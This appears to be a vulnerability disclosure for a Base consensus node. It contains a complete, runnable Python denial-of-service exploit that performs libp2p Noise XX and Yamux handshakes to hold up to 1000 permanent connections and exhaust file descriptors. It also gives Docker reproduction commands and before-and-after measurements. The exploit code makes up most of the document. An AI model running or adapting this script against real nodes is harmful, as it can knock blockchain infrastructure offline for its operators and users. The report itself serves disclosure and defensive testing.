Was this helpful?
pub struct Behaviour {
pub ping: libp2p::ping::Behaviour,
pub gossipsub: libp2p::gossipsub::Behaviour,
pub identify: libp2p::identify::Behaviour,
pub sync_req_resp: libp2p_stream::Behaviour,
}grep -rn "setrlimit\|rlimit\|nofile" base/bin/consensus/src/
# No results — only found in test_utils (never executed in production)#!/usr/bin/env python3
"""
PoC: P2P Connection Limit Exhaustion — Base Consensus Node
Completes full libp2p Noise XX + Yamux negotiation producing permanent
connections that bypass idle_connection_timeout and are never closed.
command:
python3 attack.py [HOST] [PORT] [NUM_CONNECTIONS]
"""
import socket
import struct
import threading
import time
import sys
import os
from noise.connection import NoiseConnection, Keypair
from cryptography.hazmat.primitives.asymmetric.ec import (
generate_private_key, SECP256K1, ECDSA,
)
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.backends import default_backend
TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
TARGET_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8003
NUM_CONNS = int(sys.argv[3]) if len(sys.argv) > 3 else 1000
DELAY = 0.05
open_sockets = []
lock = threading.Lock()
stop = threading.Event()
established = 0
failed = 0
def nf(p):
return struct.pack(">H", len(p)) + p
def rnf(s):
h = b""
while len(h) < 2:
c = s.recv(2 - len(h))
if not c: raise ConnectionError()
h += c
l = struct.unpack(">H", h)[0]
d = b""
while len(d) < l:
c = s.recv(l - len(d))
if not c: raise ConnectionError()
d += c
return d
def ems(proto):
m = proto.encode() + b"\n"
l = len(m)
v = b""
while l > 0x7F:
v += bytes([0x80 | (l & 0x7F)])
l >>= 7
v += bytes([l])
return v + m
MS_HEADER = bytes.fromhex("132f6d756c746973747265616d2f312e302e300a")
NOISE_SEL = bytes.fromhex("072f6e6f6973650a")
def drain(sock):
try:
while not stop.is_set():
data = sock.recv(4096)
if not data:
break
except Exception:
pass
def connect_one(idx):
global established, failed
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
try:
s.connect((TARGET_HOST, TARGET_PORT))
# Multistream-select
s.sendall(MS_HEADER)
s.recv(4096)
s.sendall(NOISE_SEL)
s.recv(4096)
# Noise XX handshake
n = NoiseConnection.from_name(b"Noise_XX_25519_ChaChaPoly_SHA256")
n.set_as_initiator()
n.set_keypair_from_private_bytes(Keypair.STATIC, os.urandom(32))
n.start_handshake()
s.sendall(nf(n.write_message()))
n.read_message(rnf(s))
pk = generate_private_key(SECP256K1(), default_backend())
pub = pk.public_key().public_bytes(
serialization.Encoding.X962,
serialization.PublicFormat.CompressedPoint,
)
sp = n.noise_protocol.keypairs["s"].public.public_bytes_raw()
sig = pk.sign(b"noise-libp2p-static-key:" + sp, ECDSA(hashes.SHA256()))
ik = b"\x08\x02\x12\x21" + pub
pay = bytes([0x0A, len(ik)]) + ik + bytes([0x12, len(sig)]) + sig
s.sendall(nf(n.write_message(pay)))
# Yamux muxer negotiation (through encrypted channel)
s.sendall(nf(n.encrypt(ems("/multistream/1.0.0") + ems("/yamux/1.0.0"))))
n.decrypt(rnf(s)) # multistream ack
n.decrypt(rnf(s)) # yamux ack
s.settimeout(None)
with lock:
open_sockets.append(s)
established += 1
threading.Thread(target=drain, args=(s,), daemon=True).start()
return True
except Exception as e:
failed += 1
try: s.close()
except: pass
if idx < 3 or idx % 100 == 0:
print(f" [!] #{idx}: {e}")
return False
def status():
while not stop.is_set():
with lock:
n = len(open_sockets)
print(
f"\r [*] Established: {established} | Alive: {n} "
f"| Failed: {failed} | Target: {NUM_CONNS} ",
end="", flush=True,
)
time.sleep(1)
print(f"[+] Target : {TARGET_HOST}:{TARGET_PORT}")
print(f"[+] Goal : {NUM_CONNS} permanent libp2p connections")
print(f"[+] Method : Noise XX + Yamux (bypasses idle_connection_timeout)")
print()
threading.Thread(target=status, daemon=True).start()
for i in range(NUM_CONNS):
connect_one(i)
time.sleep(DELAY)
print(f"\n\n[+] Result: {established} permanent connections established.")
print(f"[+] These connections survive indefinitely (Yamux keepalive).")
print(f"[*] Press Ctrl-C to release.\n")
try:
stop.wait()
except KeyboardInterrupt:
pass
finally:
stop.set()
print("\n[*] Closing...")
with lock:
for s in open_sockets:
try: s.close()
except: pass
print("[*] Done.")cd base
just -f etc/docker/Justfile up-singledocker compose --env-file etc/docker/devnet-env \
-f etc/docker/docker-compose.yml psdocker exec base-client-cl sh -c 'ls /proc/1/fd | wc -l'
# Expected: ~27
curl -sf -X POST -H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","method":"opp2p_peerCount","params":[],"id":1}' \
http://localhost:8549
# Expected: {"connectedGossip": 1}python3 poc/fd_exhaustion/attack.py 127.0.0.1 8003 1000docker exec base-client-cl sh -c 'ls /proc/1/fd | wc -l'
# Result: ~1027 (was 27)
curl -sf -X POST -H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","method":"opp2p_peerCount","params":[],"id":1}' \
http://localhost:8549
# Result: {"connectedGossip": 1001} (was 1)